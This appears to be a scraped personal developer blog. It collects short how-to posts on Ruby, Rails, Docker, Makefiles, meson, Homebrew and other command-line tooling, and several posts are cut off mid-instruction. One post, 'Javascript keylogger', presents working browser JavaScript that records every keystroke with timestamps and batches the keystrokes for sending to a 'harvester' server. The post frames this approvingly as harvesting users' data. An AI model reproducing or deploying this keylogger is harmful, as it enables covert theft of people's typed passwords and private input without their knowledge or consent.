Development on Codrut Constantin Gusoi

Generate QR Code from CLI

Tue, 03 Jun 2025 11:37:30 +0000

Prereqisites Link to heading

sudo pacman -S qrencode

Also make sure you have a proper UTF8 font installed!

Usage Link to heading

From STDIN:

qrencode -t ansiutf8 <<< "your_string_here"

From file:

qrencode -t ansiutf8 < ~/.ssh/id_ed25519.pub

Rails: install Administrate

Tue, 23 Jan 2024 08:21:51 +0000

Gems Link to heading

Add these to your Gemfile:

# Administration
gem 'administrate', '~> 0.20.0'

# Authentication
gem 'devise', '~> 4.9', '>= 4.9.3'

Then install your new gems:

bundle install

Generate Link to heading

bundle exec rails generate devise:install
bundle exec rails generate devise SystemOperator
bundle exec rails generate administrate:install --namespace=operations

bundle exec rails generate administrate:dashboard SystemOperator --namespace=operations

Rails: install ActiveAdmin

Mon, 22 Jan 2024 08:41:29 +0000

Gems Link to heading

Add these to your Gemfile:

# Administration
gem 'activeadmin', '~> 4.0.0.beta4'

# Authentication
gem 'devise', '~> 4.9', '>= 4.9.3'

Then install your new gems:

bundle install

Generate Link to heading

bundle exec rails generate active_admin:install \
  SystemOperator                                \
  --skip-comments                               \
  --no-registerable                             \
  --no-default-user

Create new Rails app through Docker

Sun, 21 Jan 2024 09:43:30 +0000

Shell Link to heading

You need the bigger Debian based docker image for installing Rails as it needs to have gcc and make for building naitve extensions.

docker-here ruby:3.3.0 bash

Rails Link to heading

gem install -N rails

New Link to heading

rails new "name-me"     \
  --skip-bundle         \
  --skip-docker         \
  --skip-jbuilder       \
  --database=postgresql \
  --javascript=esbuild  \
  --css=tailwind

Once this is done you can Ctrl-C to exit the docker shell.

Create a new Ruby gem

Sat, 29 Jul 2023 05:09:02 +0000

Setup Link to heading

Add this to your ~/.bundle/config

---

BUNDLE_GEM__TEST: "minitest"
BUNDLE_GEM__CI: "gitlab"
BUNDLE_GEM__MIT: "false"
BUNDLE_GEM__COC: "false"
BUNDLE_GEM__CHANGELOG: "false"
BUNDLE_GEM__LINTER: "rubocop"

Gem Name Link to heading

Use _ for CamelCase and - for Name::Spaces.

# Library gem
bundle gem <NAME>

# CLI gem
bundle gem --exe <NAME>

Ruby Ractor: pass an arbitrary block

Sat, 21 Jan 2023 10:51:53 +0000

Let’s say you have a piece of code:

class SomeThing
  def initialize(thing)
    @thing = thing
  end

  def call
    puts @thing.inspect
  end
end

You want to execute this in parallel in a ractor:

Ractor.new { SomeThing.new(1).call }

This works if you have the block written within the Ractor. But it will fail if the block is refferenced from the outside of a ractor.

element = proc { SomeThing.new(1).call }
Ractor.new { element.call }

# <internal:ractor>:267:in `new': can not isolate a Proc because it accesses
#   outer variables (element). (ArgumentError)

To do that you need to instance_eval from a shareable object:

Ruby Version Manager: rbenv

Sun, 18 Sep 2022 10:01:05 +0000

Docker Link to heading

The best way to manage ruby for your project is by using Docker:

If you don’t have a Docker setup yet, you have to suffer, temporarily, by using rbenv. There used to be another tool called rvm for this sort of thing but it’s been abandoned for a long time now, it’s insecure to install from their website, has install errors, and it’s completely broken for newer versions of ruby and newer versions of OpenSSL. Your only real option is to use rbenv.

How to install Homebrew securely

Sat, 17 Sep 2022 12:18:08 +0000

The instructions at https://brew.sh/ are extremely dangerous! Here is how to install homebrew properly.

NOTE: we assume your homebrew path is: ~/Workspace/Hub/brew

Code Link to heading

Clone the repository:

git clone https://github.com/Homebrew/brew.git ~/Workspace/Hub/brew

cd ~/Workspace/Hub/brew

Review the code carefully!
Check the commit sha matches the one from the last commit on the repository website:
```
git rev-parse HEAD
```
Now you have a secure copy of the repository and you can automate the process.

Basic python setup

Mon, 21 Dec 2020 11:38:59 +0000

Install Link to heading

Since you undoubtedly use linux, python should come pre-installed, but here is the install command anyway:

sudo pacman -S python python-pip

Configure Link to heading

Add this to your ~/.bash_profile:

export PATH=~/.local/bin:$PATH

Packages Link to heading

pip install --user -U package-name

Cleanup Link to heading

When a new python verson is released, clean up the old versions from ~/.local/lib:

How to Use: meson

Sun, 20 Dec 2020 11:43:11 +0000

Install Link to heading

sudo pacman -S gcc meson ninja

Develop Link to heading

Write a sample program inside src/main.c:

#include <stdio.h>

int main(int argc, char **argv) {
  printf("Hello World!\n");

  return 0;
}

Configure Link to heading

Create a meson.build file containing:

project(
  'meson-sample',
  'c',
  version: '0.0.1'
)

executable('hello', 'src/main.c')

Set up your compile target config files:

compile/x86_64-generic.ini:

[target_machine]
system     = 'linux'
cpu_family = 'x86_64'
cpu        = 'x86'
endian     = 'little'

[binaries]
strip = 'strip'

[built-in options]
c_std  = 'c17'
c_args = '-march=x86-64 -mtune=generic'

compile/x86_64-znver1.ini:

[target_machine]
system     = 'linux'
cpu_family = 'x86_64'
cpu        = 'znver1'
endian     = 'little'

[binaries]
strip = 'strip'

[built-in options]
c_std  = 'c17'
c_args = '-march=znver1 -mtune=znver1'

Compile Link to heading

First set up your build targets:

meson setup build/x86_64-generic \
  --buildtype=release            \
  --cross-file ./compile/x86_64-generic.ini

meson setup build/x86_64-znver1 \
  --buildtype=release           \
  --cross-file ./compile/x86_64-znver1.ini

Then you can compile:

meson compile -C build/x86_64-generic
meson compile -C build/x86_64-znver1

Now your binaries are ready to run:

time ./build/x86_64-generic/hello
# Hello World!
#
# real    0m0.002s
# user    0m0.001s
# sys     0m0.001s

time ./build/x86_64-znver1/hello
# Hello World!
#
# real    0m0.002s
# user    0m0.002s
# sys     0m0.000s

Aarch64 Link to heading

Cross compile for ARM with these extra steps:

Basic golang setup

Sat, 19 Dec 2020 11:49:48 +0000

Install Link to heading

sudo pacman -S go

Configure Link to heading

Add these to your ~/.bash_profile:

export GOPATH=~/.gopath
export PATH=$GOPATH/bin:$PATH

Use Link to heading

Install packages with:

go get -u -v package-name

And modules with:

env GO111MODULE=on go get -v module-name

Javascript keylogger

Mon, 07 Dec 2020 10:11:10 +0000

Harvest the keyboard of your data cattle with this code:

(() => {
  let buffer = []
  let limit  = 1024
  let start  = Date.now()

  let timeout = null
  let delay   = 1500

  let feast = (payload) => {
    // Replace this with a POST to your harvester servers.
    console.log(payload)
  }

  let harvest = () => {
    let end     = Date.now()
    let payload = {c: buffer, s: start, e: end}

    feast(payload)

    buffer = []
    start  = Date.now()
  }

  document.addEventListener('keydown', (event) => {
    let key   = event.key || event.keyCode;
    let entry = {k: key, t: Date.now()}

    buffer.push(entry)
    if (buffer.length >= limit) { harvest() }

    clearTimeout(timeout)
    timeout = setTimeout(() => { harvest() }, delay);
  })
})()

It’s that easy! Let the feast begin!

Ruby templating with ERB

Mon, 16 Nov 2020 13:40:26 +0000

ERB comes by default with ruby, you only need to require it:

require 'erb'

Create a template file ./template/steak.erb:

A large steak, <%= @how_done %>, please!
<%- 3.times do -%>
And another!
<%- end -%>

And read it into a variable:

tempalte = File.read('./template/steak.erb')

Now you can bind instance variables and pass them to the renderer:

renderer = ERB.new(template, nil, '-')

@how_done = 'medium rare'
puts renderer.result(binding)

Basic Makefile CI steps

Sat, 14 Nov 2020 11:59:51 +0000

Create general ci and lint goals for running things with and without docker, and specific ci/* and lint/* goals for individual checks:

#-------------------------------------------------------------------------------
# CI
#-------------------------------------------------------------------------------

# Absolute path to the directory of this Makefile.
HERE = $(realpath $(dir $(realpath $(firstword $(MAKEFILE_LIST)))))

# Run a docker container with the current directory mounted.
DOCKER_HERE := docker run --rm -it -u `id -u`:`id -g` -v "$(PWD)":/here -w /here

.PHONY: ci
ci: ci/editorconfig ci/hadolint ci/yamllint

.PHONY: ci/editorconfig
ci/editorconfig:
	@$(DOCKER_HERE) sdwolfz/editorconfig-checker:latest make lint/editorconfig

.PHONY: ci/hadolint
ci/hadolint:
	@$(DOCKER_HERE) sdwolfz/hadolint:latest make lint/hadolint

.PHONY: ci/yamllint
ci/yamllint:
	@$(DOCKER_HERE) sdwolfz/yamllint:latest make lint/yamllint

#-------------------------------------------------------------------------------
# Lint

.PHONY: lint
lint: lint/editorconfig lint/hadolint lint/yamllint

.PHONY: lint/editorconfig
lint/editorconfig:
	@editorconfig-checker $$(git ls-files)

.PHONY: lint/hadolint
lint/hadolint:
	@hadolint $$(git ls-files | grep Dockerfile)

.PHONY: lint/yamllint
lint/yamllint:
	@yamllint $$(git ls-files | grep -E \.ya?ml$$)

Shell scripts as a package manager

Fri, 30 Oct 2020 21:31:42 +0000

Sometimes code is not available from package managers, just like in the stone age. Until those maintainers wake up to the basic modern programming practices of our glorious present, you can do this:

Create a scripts/sspm.sh file with the code from this repository:

https://gitlab.com/sdwolfz/sspm/-/blob/master/sspm.sh

Create a package specific file scripts/download/footool.sh and use one of those functions:

#!/usr/bin/env sh

set -ex

. ./scripts/sspm.sh

download_from_git                          \
  footool                                  \
  master                                   \
  6f6944bee215d391d7c80c529028003ba3b838da \
  https://gitlab.com/sdwolfz/footool.git

Create an equivalent build file scripts/build/footool.sh to compile it:

#!/usr/bin/env sh
set -ex

APPDIR="$PWD"/lib

cd vendor/footool

./autogen.sh
./configure \
  --prefix="$APPDIR" \
  --enable-bar=yes

make -j`nproc`
make install -j`nproc`

Create a Makefile for easy execution:

.DEFAULT_GOAL = all

# ------------------------------------------------------------------------------
# Package Management

.PHONY: all
all: download clean build

# ------------------------------------------------------------------------------
# Build

.PHONY: build
build: \
	build/footool

.PHONY: build/footool
build/footool:
	@sh scripts/build/footool.sh

# ------------------------------------------------------------------------------
# Clean

.PHONY: clean
clean: \
	clean/footool

.PHONY: clean/footool
clean/footool:
	@rm -f lib/footool

# ------------------------------------------------------------------------------
# Download

.PHONY: download
download: \
	download/footool

.PHONY: download/footool
download/footool:
	@sh scripts/download/footool.sh

Add as many other files and make goals as you want, each for every independent package you need.

How to Use: rake

Fri, 16 Oct 2020 18:15:11 +0000

Add the rake gem to your Gemfile:

gem 'rake'

Install it by running bundle install.
Create a Rakefile containing:

# frozen_string_literal: true

Rake.add_rakelib(File.join('lib', 'tasks'))

Create a hello.rake file in ./lib/tasks containing your code:

# frozen_string_literal: true

# Require your code here:
# require_relative '../../config/environment'

namespace :hello do
  task :world do
    puts 'Hello World!'
  end

  task chain: :world do
    puts 'Chain!'
  end

  task :name, [:who] do |_task, args|
    puts "Hello #{args[:who]}!"
  end
end

Run it:

bundle exec rake hello:world
# Hello World!

bundle exec rake hello:chain
# Hello World!
# Chain!

bundle exec rake hello:name[Rake]
# Hello Rake!

How to Use: guard

Thu, 15 Oct 2020 18:25:25 +0000

Add these gems to your Gemfile:

group :development do
  gem 'guard'
  gem 'guard-shell'
end

Install it by running bundle install.
Create a Guardfile containing:

# frozen_string_literal: true

clearing :on

guard :shell do
  watch(%r{(?:lib|test)/(.*)\.rb}) { |_m| `bundle exec rake test` }
end

Create the following entry in a Makefile:

.PHONY: guard
guard:
	@bundle exec guard

Run it when doing development:

make guard

Enjoy auto-executing tests and tasks!

Docker Images: basic Node setup

Wed, 14 Oct 2020 18:32:57 +0000

Use this as a template for node apps:

#-------------------------------------------------------------------------------
# Base

FROM node:16.2.0-alpine

SHELL ["/bin/ash", "-c"]

#-------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail              && \
                                      \
    echo 'Install system packages' && \
    apk add --update --no-cache \
      build-base                \
      shadow

#-------------------------------------------------------------------------------
# Workspace

RUN set -exo pipefail       && \
                               \
    echo 'Create workspace' && \
    mkdir -p /work

WORKDIR /work

#-------------------------------------------------------------------------------
# User

ARG HOST_USER_UID=1000
ARG HOST_USER_GID=1000

RUN set -exo pipefail                                  && \
                                                          \
    echo 'Create the notroot user and group from host' && \
    deluser --remove-home node                         && \
    groupadd -g $HOST_USER_GID notroot                 && \
    useradd -lm -u $HOST_USER_UID -g notroot notroot   && \
                                                          \
    echo 'Set direcotry permissions'                   && \
    chown notroot:notroot /work

#-------------------------------------------------------------------------------
# Command

CMD ["sh"]

Build it like this:

Set up a console for Ruby projects

Tue, 13 Oct 2020 22:41:29 +0000

With IRB Link to heading

Add irb to your Gemfile (yes you need to do this)!

# frozen_string_literal: true

gem 'irb'

Run bundle install of course!
Create a ./bin/console file containing:

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'rubygems'
require 'bundler/setup'
require 'irb'

require_relative '../config/environment.rb'

IRB.start

Be sure you require all your project files in config/environment.rb.
Make your file executable:

chmod +x ./bin/console

Now you can run it like any other program:

./bin/console

# irb(main):001:0>

Optional but fancy: create a Makefile with this content so you can execute make console instead.

.PHONY: console
console:
	@./bin/console

Pro Tip: use load 'path/to/file.rb' to reload file instead of restarting the shell on every edit.

With Pry Link to heading

Step 1. becomes:

Inline Bundler for single file Ruby scripts

Sun, 04 Oct 2020 13:58:08 +0000

To set up Gemfile functionality do this:

#!/usr/bin/env ruby
# frozen_string_literal: true

ENV['GEM_HOME'] = File.join(Dir.pwd, 'vendor', 'ruby')
Gem.clear_paths

require 'bundler/inline'

gemfile do
  source 'https://rubygems.org'

  gem 'minitest'
end

Now you can define and test your code in the same file:

def quick_maths(a, b)
  a + b
end

require 'minitest/autorun'

describe '#quick_maths' do
  it '1 + 1 = 2' do
    assert_equal(2, quick_maths(1, 1))
  end
end

Ruby Minitest and Simplecov starter

Wed, 30 Sep 2020 18:38:47 +0000

Add these gems to your Gemfile:

# frozen_string_literal: true

group :development, :test do
  gem 'minitest'
  gem 'rake'
  gem 'simplecov'
end

Run bundle install to install them.
Create a test/test_helper.rb file containing:

# frozen_string_literal: true

require 'simplecov'
SimpleCov.start do
  enable_coverage :branch
end

$LOAD_PATH.unshift File.expand_path('../lib', __dir__)

require 'minitest/autorun'

Add the following lines to your Rakefile:

# frozen_string_literal: true

require 'rake/testtask'

Rake::TestTask.new(:test) do |t|
  t.libs << 'test'
  t.libs << 'lib'
  t.test_files = FileList['test/**/*_test.rb']
end

Create a sample test at test/unit/trial_test.rb to try it out:

# frozen_string_literal: true

require 'test_helper'

describe 'trial' do
  it 'is worthy' do
    assert(true)
  end
end

Run the tests with bundle exec rake test

Quick way to format numbers in Ruby

Sun, 27 Sep 2020 10:58:53 +0000

number = 12345678
number.to_s.gsub(/\B(?=(...)*\b)/, ',')

# => "12,345,678"

This does not work if your number has a negative sign (-1234), neither if it has a decimal separator (1.234). I said it was a quick way, not a good way ;).

Easter Eggs: Firefox

Fri, 24 Jul 2020 18:28:29 +0000

Start the console with Ctrl + Shift + K
Run:

document.designMode = 'on'

Close the console with Ctrl + Shift + I

And now you can edit any text directiny into the page.

Temporary files and directories in Ruby

Thu, 23 Jul 2020 20:13:45 +0000

File Link to heading

Create a temporary file in your current directory:

require 'tempfile'

Tempfile.create('', Dir.pwd) do |file|
  puts File.path(file)

  File.write(file, 'I am temporary!')
  puts File.read(file)
end

Directory Link to heading

For directory it’s similar, but no require needed:

Dir.mktmpdir(nil, Dir.pwd) do |dir|
  puts File.path(dir)
end

Pretty Printing in ruby

Wed, 22 Jul 2020 18:39:28 +0000

Say you have a complex object like:

state = {a: 1, b: '2', c: [3, 4, 5]}

And you want to display it nicely to standard output. Then you do:

require 'pp'

pp state
# {:a=>1, :b=>"2", :c=>[3, 4, 5]}

Amazing! But you might want to save that into a string so it can be used later, like in the ouput of your logger. For this usecase you can call .pretty_inspect on any object and pass that result around.

Basic Makefile starter

Fri, 17 Jul 2020 18:14:29 +0000

Use this template as a sterter for your Makefile, making sure you intent using tabs as that’s a hard requirement of the make tool.

#-------------------------------------------------------------------------------
# Settings
#-------------------------------------------------------------------------------

# By default the `help` goal is executed.
.DEFAULT_GOAL := help

#-------------------------------------------------------------------------------
# Goals
#-------------------------------------------------------------------------------

.PHONY: help
help:
	@echo 'Usage: make [<GOAL_1>, ...] [<VARIABLE_1>=value_1, ...]'
	@echo ''
	@echo 'Examples:'
	@echo '  make'
	@echo '  make help'
	@echo ''
	@echo 'Goals:'
	@echo '  - help: Displays this help message.'
	@echo '  - here: Displays the directory where this Makefile is located.'
	@echo ''
	@echo 'Default Goal: help'
	@echo ''

Docker Images: basic Ruby setup

Thu, 16 Jul 2020 18:51:03 +0000

Use this as a template for ruby apps:

#-------------------------------------------------------------------------------
# Base

FROM ruby:2.7.2-alpine

SHELL ["/bin/ash", "-c"]

#-------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail              && \
                                      \
    echo 'Install system packages' && \
    apk add --update --no-cache \
      build-base                \
      shadow

#-------------------------------------------------------------------------------
# Workspace

RUN set -exo pipefail       && \
                               \
    echo 'Create workspace' && \
    mkdir -p /work

WORKDIR /work

#-------------------------------------------------------------------------------
# User

ARG HOST_USER_UID=1000
ARG HOST_USER_GID=1000

RUN set -exo pipefail                                  && \
                                                          \
    echo 'Create the notroot user and group from host' && \
    groupadd -g $HOST_USER_GID notroot                 && \
    useradd -lm -u $HOST_USER_UID -g notroot notroot   && \
                                                          \
    echo 'Set direcotry permissions'                   && \
    chown notroot:notroot /work

#-------------------------------------------------------------------------------
# Gems

COPY --chown=notroot:notroot Gemfile* /work/

USER notroot

RUN set -exo pipefail                 && \
                                         \
    echo 'Install gems'               && \
    cd /work                          && \
    bundle install --jobs 3 --retry 3

#-------------------------------------------------------------------------------
# Command

CMD ["sh"]

Build it like this:

How to Use: hadolint

Wed, 24 Jun 2020 18:45:41 +0000

Install Link to heading

It’s not available in any package manager, so use the Docker image:

docker run --rm -it -v "$PWD":/work -w /work hadolint/hadolint:latest-alpine sh

Configure Link to heading

Add a .hadolint.yaml file containing your rules:

---

ignored:
  - DL3018

Use Link to heading

Single file:

hadolint ./path/to/Dockerfile

All files:

find . -name Dockerfile | xargs hadolint

Files known to git:

Install Cask from source

Fri, 10 Apr 2020 20:40:09 +0000

Prerequisites Link to heading

Install Emacs

Install Link to heading

Clone and link the repository:

git clone https://github.com/cask/cask.git
rm -rf ~/.cask
ln -s "$PWD"/cask ~/.cask

Add this to your .bash_profile:

export PATH=~/.cask/bin:$PATH

Install lazy loaded packages:

cask --help

Development on Codrut Constantin Gusoi

Generate QR Code from CLI

Prereqisites Link to heading

Usage Link to heading

Rails: install Administrate

Gems Link to heading

Generate Link to heading

Changes Link to heading

Rails: install ActiveAdmin

Gems Link to heading

Generate Link to heading

Changes Link to heading

Create new Rails app through Docker

Prerequisites Link to heading

Shell Link to heading

Rails Link to heading

New Link to heading

Create a new Ruby gem

Setup Link to heading

Gem Name Link to heading

Permissions Link to heading

Ruby Ractor: pass an arbitrary block

Ruby Version Manager: rbenv

Docker Link to heading

How to install Homebrew securely

Code Link to heading

Basic python setup

Install Link to heading

Configure Link to heading

Packages Link to heading

Cleanup Link to heading

How to Use: meson

Install Link to heading

Develop Link to heading

Configure Link to heading

Compile Link to heading

Aarch64 Link to heading

Basic golang setup

Install Link to heading

Configure Link to heading

Use Link to heading

Javascript keylogger

Ruby templating with ERB

Basic Makefile CI steps

Shell scripts as a package manager

How to Use: rake

How to Use: guard

Docker Images: basic Node setup

Set up a console for Ruby projects

With IRB Link to heading

With Pry Link to heading

Inline Bundler for single file Ruby scripts

Ruby Minitest and Simplecov starter

Quick way to format numbers in Ruby

Easter Eggs: Firefox

Temporary files and directories in Ruby

File Link to heading

Directory Link to heading

Pretty Printing in ruby

Basic Makefile starter

Docker Images: basic Ruby setup

How to Use: hadolint

Install Link to heading

Configure Link to heading

Use Link to heading

Install Cask from source

Prerequisites Link to heading

Install Link to heading